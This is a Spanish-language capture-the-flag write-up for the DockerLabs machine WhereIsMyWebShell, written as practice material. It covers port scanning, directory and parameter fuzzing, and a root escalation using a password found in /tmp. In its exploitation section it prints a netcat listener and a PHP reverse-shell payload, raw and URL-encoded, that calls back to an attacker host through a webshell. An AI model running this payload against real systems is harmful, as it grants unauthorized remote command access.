Ir al contenido

WhereIsMyWebShell

En este artículo detallo el proceso de resolución del CTF WhereIsMyWebShell, una máquina virtual creada por El Pingüino de Mario. Se describen paso a paso las herramientas utilizadas y técnicas aplicadas para comprometer la máquina, desde el reconocimiento inicial hasta la obtención de acceso como superusuario.

  • Nombre: WhereIsMyWebShell
  • Autor: El Pingüino de Mario
  • Nivel de Dificultad: Fácil
  • Fecha de creación: 12/04/2024
  1. Descargamos la máquina desde DockerLabs.

  2. Descomprimimos el archivo:

    Ventana de terminal
    unzip WhereIsMyWebShell.zip
  3. Ejecutamos el script de despliegue:

    Ventana de terminal
    sudo bash auto_deplo.sh WhereIsMyWebShell.tar

Al iniciar la máquina, se muestra directamente su dirección IP, por lo que no es necesario realizar un escaneo ARP.

IP image

Organizamos el entorno de trabajo:

Ventana de terminal
mkdir WhereIsMyWebShell
cd WhereIsMyWebShell
mkt # Crea: content, exploits, nmap, scripts

Realizamos un escaneo completo de puertos con nmap:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos abiertos:

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Identificamos los servicios en ejecución en los puertos abiertos:

Ventana de terminal
nmap -sCV -p22,80 172.17.0.2 -oN targeted

Servicios

Enumeramos contenido del sitio web con gobuster:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200

Resultado Gobuster

Archivos identificados:

  • index.html: Página básica de una academia de inglés. index

  • warning.html: Contiene una advertencia y pista relacionada con una webshell. warning

  • shell.php: Una posible webshell.

Sabemos que la webshell está ubicada en http://172.17.0.2/shell.php. Para descubrir el parámetro vulnerable, utilizamos ffuf:

Ventana de terminal
ffuf -u "http://172.17.0.2/shell.php?FUZZ=test" \
-w /usr/share/seclists/Discovery/Web-Content/bup-parameter-names.txt \
-fs 0

Ffuf

El parámetro parameter resulta funcional. Probamos con comandos básicos:

shell

  1. Escuchamos con netcat en nuestra máquina atacante:

    Ventana de terminal
    nc -lvp 443
  2. Ejecutamos un payload en la webshell codificado por URL:

    php -r '$sock=fsockopen("172.17.0.1",443);exec("bash <&3 >&3 2>&3");'

    URL codificada:

    http://172.17.0.2/shell.php?parameter=php -r '%24sock%3Dfsockopen("172.17.0.1"%2C443)%3Bexec("bash <%263 >%263 2>%263")%3B'

Reverse shell activa

Con esto, obtenemos una reverse shell como el usuario www-data.

www-data

Exploramos el sistema y encontramos una pista en el directorio /tmp:

secret

El archivo contenía una contraseña válida para escalar privilegios.

Nos autenticamos como root:

Ventana de terminal
su

Root access

Ya tenemos acceso completo como superusuario:

Root

La máquina WhereIsMyWebShell es una excelente práctica para reforzar conocimientos sobre explotación web, enumeración de parámetros HTTP, ejecución remota de comandos y escalada de privilegios mediante pistas ocultas. A través de herramientas como nmap, gobuster, ffuf, netcat y técnicas de reverse shell, logramos comprometer completamente el sistema.